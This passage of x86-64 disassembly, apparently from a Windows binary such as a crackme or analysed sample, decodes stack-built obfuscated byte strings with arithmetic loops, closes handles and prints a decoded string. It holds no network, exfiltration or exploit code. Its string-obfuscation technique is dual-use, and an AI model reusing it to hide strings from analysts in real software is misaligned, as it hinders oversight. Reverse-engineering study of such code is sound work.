movzx ecx, cl
cmovb ecx, r8d
mov byte [rbp + rax + 0x460], cl
inc rax
cmp rax, 0x1c
jne 0x140002b28
lea rcx, [rbp + 0x461]
call fcn.140002ed8
mov r15, rsi
mov rcx, qword [rbp + 0x970]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x978]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x938]
test rcx, rcx
mov rsi, qword [rbp + 0x960]
je 0x140002bc8
call fcn.1400b7790
mov rdi, qword [rbp + 0x958]
test rdi, rdi
je 0x140002e13
add r13, 0x20
cmp r13, r15
jne 0x140001d61
xor eax, eax
lea rcx, [rbp + 0x461]
mov byte [rcx - 1], al
mov byte [rcx], al
mov dl, 0x40
mov byte [rcx + 1], dl
mov r8b, 0x30
mov byte [rcx + 2], r8b
mov r9b, 0x3d
mov byte [rcx + 3], r9b
mov r10b, 0x35
mov byte [rcx + 4], r10b
mov byte [rcx + 5], r9b
mov byte [rcx + 6], 0x36
mov byte [rcx + 7], r9b
mov r11b, 0x23
mov byte [rcx + 8], r11b
mov byte [rcx + 9], 0xf
mov bl, 2
mov byte [rcx + 0xa], bl
mov byte [rcx + 0xb], 0x71
mov byte [rcx + 0xc], dl
mov byte [rcx + 0xd], 0x33
mov byte [rcx + 0xe], r10b
mov byte [rcx + 0xf], r11b
mov byte [rcx + 0x10], dl
mov byte [rcx + 0x11], 0x26
mov byte [rcx + 0x12], 0x4d
mov byte [rcx + 0x13], 0x19
mov byte [rcx + 0x14], r9b
mov byte [rcx + 0x15], bl
mov byte [rcx + 0x16], r9b
mov byte [rcx + 0x17], r8b
mov byte [rcx + 0x18], 0x6c
mov byte [rcx + 0x19], 0x15
mov byte [rcx + 0x1a], 0x12
cmp byte [rcx - 1], al
jne 0x140002ce5
mov eax, 1
movzx edx, byte [rbp + rax + 0x460]
imul edx, edx, 0xffffffd9
mov r8d, edx
add r8d, 0x2be
movsx r8d, r8w
imul r8d, r8d, 0xffff8103
shr r8d, 0x10
add r8d, edx
add r8d, 0x2be
movzx r8d, r8w
movsx r9d, r8w
shr r8d, 0xf
sar r9d, 6
add r9d, r8d
mov r8d, r9d
shl r8d, 7
sub r9d, r8d
add edx, r9d
add edx, 0x2be
lea r8d, [rdx + 0x7f]
cmp dx, 0xff81
movzx r8d, r8b
cmovb r8d, edx
mov byte [rbp + rax + 0x460], r8b
inc rax
cmp rax, 0x1c
jne 0x140002c70
call fcn.140002ed8
xor esi, esi
jmp 0x140002e19
lea rsi, [rbp + 0x461]
mov byte [rsi - 1], 0
mov byte [rsi], 0x59
mov byte [rsi + 1], 0x1c
mov byte [rsi + 2], 0x68
mov byte [rsi + 3], 0x45
mov al, 0x42
mov byte [rsi + 4], al
mov byte [rsi + 5], 0x78
mov cl, 0x6d
mov byte [rsi + 6], cl
mov dl, 0x12
mov byte [rsi + 7], dl
mov r8b, 0x22
mov byte [rsi + 8], r8b
mov byte [rsi + 9], cl
mov byte [rsi + 0xa], r8b
mov byte [rsi + 0xb], 0x6b
mov byte [rsi + 0xc], al
mov r8b, 0x58
mov byte [rsi + 0xd], r8b
mov byte [rsi + 0xe], cl
mov byte [rsi + 0xf], 0x36
mov byte [rsi + 0x10], r8b
mov byte [rsi + 0x11], dl
mov byte [rsi + 0x12], al
mov byte [rsi + 0x13], 0x7e
mov byte [rsi + 0x14], r8b
mov byte [rsi + 0x15], al
mov byte [rsi + 0x16], dl
mov byte [rsi + 0x17], 0x73
mov byte [rsi + 0x18], 0x3b
cmp byte [rsi - 1], 0
jne 0x140002dcc
mov eax, 1
movzx ecx, byte [rbp + rax + 0x460]
shl ecx, 3
lea ecx, [rcx + rcx*4]
mov edx, 0x938
sub edx, ecx
movsx ecx, dx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, edx
movzx ecx, cx
movsx r8d, cx
shr ecx, 0xf
sar r8d, 6
add r8d, ecx
mov ecx, r8d
shl ecx, 7
sub r8d, ecx
add r8d, edx
lea ecx, [r8 + 0x7f]
cmp r8w, 0xff81
movzx ecx, cl
cmovb ecx, r8d
mov byte [rbp + rax + 0x460], cl
inc rax
cmp rax, 0x1a
jne 0x140002d6c
mov rcx, rsi
call sub.msvcrt.dll_strlen
mov rdi, qword [0x1400c4180]
mov rcx, rdi
mov rdx, rsi
mov r8, rax
call fcn.1400b2610
mov rax, qword [rdi]
mov rcx, qword [rax - 0x18]
add rcx, rdi
mov dl, 0xa
call fcn.1400691f0
mov rcx, rdi
mov edx, eax
call fcn.140076d90
mov rcx, rax
call fcn.140076f70
mov esi, 1
jmp 0x140002e25
mov esi, dword [rbp + 0x988]
lea rcx, [rbp + 0x448]
call fcn.1400a1038
mov eax, esi
movaps xmm6, xmmword [rbp + 0x990]
add rsp, 0xa28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret